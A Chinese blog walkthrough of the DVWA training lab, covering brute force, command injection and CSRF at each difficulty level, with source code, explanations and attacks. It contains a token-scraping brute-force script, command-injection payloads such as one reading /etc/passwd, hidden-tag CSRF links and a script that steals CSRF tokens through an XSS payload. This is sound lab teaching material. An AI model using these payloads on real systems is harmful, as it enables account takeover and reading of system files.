DVWA全攻略
John_Frod Lv4

DVWA全攻略


部署DVWA

Docker

1
2
3
4
#下载vulnerables/web-dvwa镜像
docker pull vulnerables/web-dvwa;
#运行镜像启动容器
docker run --rm -it -p 80:80 vulnerables/web-dvwa

然后浏览器访问http://localhost/setup.php即可访问

VMWare

首先安装phpstudy,配置环境,把php参数中的最后一项allow_url_include打开

image-20210227104424051

把从官网下载来的DVWA文件放到phpsyudy的WWW目录下,进入DVWA/config目录,把config.inc.php.dist后面的dist去掉

image-20210227103710143

然后打开文件,修改框中的内容为如图所示,保存

image-20210227104154571

Brute Force 暴力破解

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这一关对获取到的username和password没有做任何处理,可以直接使用Burpsuite进行爆破即可。

image-20210223105115625

Meium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

mysqli_real_escape_string(connection,escapestring);

connection:必需。规定要使用的 MySQL 连接。

escapestring:必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。

本关的username和password使用了mysqli_real_escape_string函数进行过滤,目的是过滤转义字符,防止sql注入;同时最后对登陆失败时候休眠2秒,使得暴力破解的速度变慢。

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这一关在前一关的基础上加上了对username和password两个变量使用了stripslashes这个函数。

1
stripslashes(string $str ):string

这个函数的作用是返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。

High级别的代码加入了Token,可以抵御CSRF攻击。每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

方法一:使用python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import re
import sys
import os

def get_token(headers):
index_url = 'http://127.0.0.1/vulnerabilities/brute/index.php'
index_html = requests.get(url=index_url, headers=headers, timeout=3).text
token_pattern = re.compile(r"name='user_token' value='(.*?)'")
token = token_pattern.findall(index_html)[0]
return token

def brute_with_token(uname, passwd, headers):
token = get_token(headers)
brute_url = f'http://127.0.0.1/vulnerabilities/brute/index.php?username={uname}&password={passwd}&Login=Login&user_token={token}'
r = requests.get(url=brute_url, headers=headers)
print(f'{token}:{uname}:{passwd}', end='\n')

if 'Welcome' in r.text:
print('\nBingo 爆破成功')
print(f'username:{uname} \npassword:{passwd}\n')
os._exit(0)

if __name__ == '__main__':
headers = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla / 5.0(Windows NT 10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 86.0.4240.183Safari / 537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh - CN, zh;q = 0.9',
'Cookie': 'PHPSESSID=gupr1d2l31e01pcbbdisn8jqu6; security=high',
}

username = sys.argv[1]
password_path = sys.argv[2]

try:
with open(password_path, "r") as f:
lines = ''.join(f.readlines()).split("\n")

for password in lines:
brute_with_token(username, password, headers)
except Exception as e:
print('文件读取异常')

运行结果:

image-20210223170718584

方法二:使用Brup Suite

选择Pitchfork爆破模式

image-20210223173723966

再第二个payload使用递归搜索

image-20210223173820719

在选项中选择单线程,并且在选项的最下面设置总是重定向

找到 「Grep - Extract」添加一个 Grep 查询筛选, 接着点击获取返回包值,然后鼠标选择要提取的 token,此时 Burpsuite 会自动生成对应的匹配规则:

image-20210223174021234

点击确定,开始爆破,运行结果

image-20210223173708141

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible难度下,又加入了失败次数的验证,当失败3次的时候要等待15分钟才能进行下一次尝试,这样就直接防止了爆破攻击

Command Injextion 命令注入

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>
1
php_uname ( string `$mode` = "a" ) : string

当mode为s时,返回操作系统的名称

1
shell_exec ( string `$cmd` ) : string

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

{}是将里面的变量解析出来,也就是会执行cmd的命令

在low难度下,直接将target变量输入给shell_exec函数中执行,我们可以使用拼接来执行想要的命令

符号 说明
A;B A不论正确与否都会执行B命令
A&B A后台运行,A和B同时执行
A&&B A执行成功的时候才会执行B命令
A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
A||B A执行失败后才会执行B命令

我们可以构造以下的payload:

1
2
3
4
5
127.0.0.1 ; 想要执行的命令
127.0.0.1 & 想要执行的命令
127.0.0.1 && 想要执行的命令
127.0.0.1 | 想要执行的命令
127.0.0.1 || 想要执行的命令

image-20210223200455238

Meium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

array_keys() 返回 input 数组中的数字或者字符串的键名。

1
str_replace(find,replace,string,count):string

find是规定查找的值;replace是替换find中的值的值;string归档被搜索的字符串;count对替换树进行计数的变量。

medium难度下把&&;号给过滤掉了,但是仍可以使用&|||符号进行拼接

或者使用&;&符号,他会把把中间的;过滤掉剩下&&符号

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

trim — 去除字符串首尾处的空白字符(或者其他字符)

这次过滤的符号名单多了,但是通过仔细观察发现,'| '符号后面多了个空格,于是可以通过构造127.0.0.1|cat /etc/passwd即可绕过

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

stripslashes(str)

stripslashes函数返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。

explode(separator,string,limit)

explode函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

is_numeric函数检查string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

sizeof(array)

sizeof函数是count函数的别名,它返回数组的单元数目。

在impossible难度中,加入了Anti-CSRF token,首先过滤了转义反斜线,同时对参数IP进行了严格的限制,只有 “数字.数字.数字.数字” 的形式才会被作为target执行,因此不存在命令注入漏洞。

CSRF 跨站请求伪造

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码中可以是 GET 方式获取密码,两次输入密码一致的话,然后直接带入带数据中修改密码。那么我们就可以直接构造URL来进行CSRF攻击。

1
http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

image-20210223211812348

通过诱骗受害者点击这个链接,他的密码就会被改成111(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了),因此可以使用一些障眼法:

1、短网址

通过短网址生成网站生成短网址

1
http://mrw.so/63brEt

image-20210223212435977

可以发现短网址会重定向到修改密码的URL

2、配合特殊的标签

1
2
3
4
5
6
7
8
9
#配合XSS攻击
<script src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"></script>

#iframe标签,添加样式 style="display:none;"
<iframe src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#" style="display:none;"></iframe>

#img标签同理,添加样式 border="0" style="display:none;"
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"
border="0" style="display:none;">

通过亲测发现,edge浏览器会阻止跨站请求链接的cookie传递,因此访问该页面时会呈现未登录状态,导致无法修改密码。ie浏览器则可以

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

stripos ( string $haystack , string $needle , int $offset = 0 ) : int

返回在字符串 haystackneedle 首次出现的数字位置。

‘SERVER_NAME’

当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。

‘HTTP_REFERER’

引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。

medium难度下要求referer参数包含有主机名才能够修改密码,也就是说之前所使用的跨站请求的方法由于他是由其他地址跳转到修改密码的地址,因此无法修改密码。下面是几种绕过方法:(假设被攻击的主机的IP为127.0.0.1)

1、目录混淆 referer

创建一个名字为127.0.0.1的文件夹,将html页面放到该文件夹下,此时构造好的URL为

1
http://xxxx/127.0.0.1/CSRF.html

2、文件名混淆 referer

将文件名字改为127.0.0.1.html,此时构造好的URL为

1
http://xxxx/127.0.0.1.html

3、?拼接混淆 referer

因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测,此时构造好的URL为

1
http://xxxx/CSRF.html?127.0.0.1

以上的3种方法目的都是让我们构造的URL地址含有被攻击主机的IP(名字),使得referer含有被攻击主机的名字(IP)。

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

这一关思路是使用 XSS 来获取用户的 token ,然后将 token 放到 CSRF 的请求中。因为 HTML 无法跨域,这里我们尽量使用原生的 JS 发起 HTTP 请求才可以。下面是配合 DVWA DOM XSS High 来解题的。

1、JS 发起 HTTP CSRF 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//首先访问csrf页面获取token
var tokenUrl = 'http://127.0.0.1/vulnerabilities/csrf/';

if (window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
}

var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function (){
if(xmlhttp.readyState === 4 && xmlhttp.status === 200){
//使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];

//发起 CSRF 请求将 token 带入
var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change#';
if (count === 0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

XMLHttpRequest 对象用于在后台与服务器交换数据。创建 XMLHttpRequest 对象的语法:

1
xmlhttp=new XMLHttpRequest();

老版本的 Internet Explorer (IE5 和 IE6)使用 ActiveX 对象:

1
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
1
XMLHttpRequest.open(method, url, async);

method:要使用的HTTP方法,比如「GET」、「POST」、「PUT」、「DELETE」、等。对于非HTTP(S) URL被忽略。

url:一个DOMString表示要向其发送请求的URL。

async(可选):一个可选的布尔参数,表示是否异步执行操作,默认为true。如果值为falsesend()方法直到收到答复前不会返回。如果true,已完成事务的通知可供事件监听器使用。如果multipart属性为true则这个必须为true,否则将引发异常。

1
XMLHttpRequest.onreadystatechange = function(){};

只要 readyState 属性发生变化,就会调用相应的处理函数

1
XMLHttpRequest.send()

方法用于发送 HTTP 请求。

1
XMLHttpRequest.withCredentials

一个布尔值,用来指定跨域 Access-Control 请求是否应当带有授权信息,如 cookie 或授权 header 头。

1
stringObject.match(regexp)

match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。返回一个存放匹配结果的数组。

将这个CSRF.js上传到服务器上,此时的URL为:

1
http://127.0.0.1:81/CSRF.js

然后此时访问 DVWA DOM XSS 的 High 级别,直接发起 XSS 测试(后面 XSS 会详细来讲解):

1
http://127.0.0.1/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://127.0.0.1:81/CSRF.js"></script>

这里直接通过 script 标签的 src 来引入外部 js,访问之后此时密码就被更改为 111 了

2、常规思路 HTML 发起 CSRF 请求

假设攻击者这里可以将 HTML 保存上传到 CORS 的跨域白名单下的话,那么这里也可以通过 HTML 这种组合式的 CSRF 攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
function attack(){
var token = document.getElementById("get_token").contentWindow.document.getElementsByName('user_token')[0].value
document.getElementsByClassName('user_token')[0].value = token;
alert(token);
document.getElementById("csrf").submit();
}
</script>

<iframe src="http://127.0.0.1/vulenrabilities/csrf/" id="get_token" style="display: none"></iframe>

<div onload="attack()">
<form action="http://127.0.0.1/vulenrabilities/csrf/" id="csrf" method="get">
<input type="hidden" name="password_new" value="111">
<input type="hidden" name="password_conf" value="111">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</div>

</body>
</html>

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
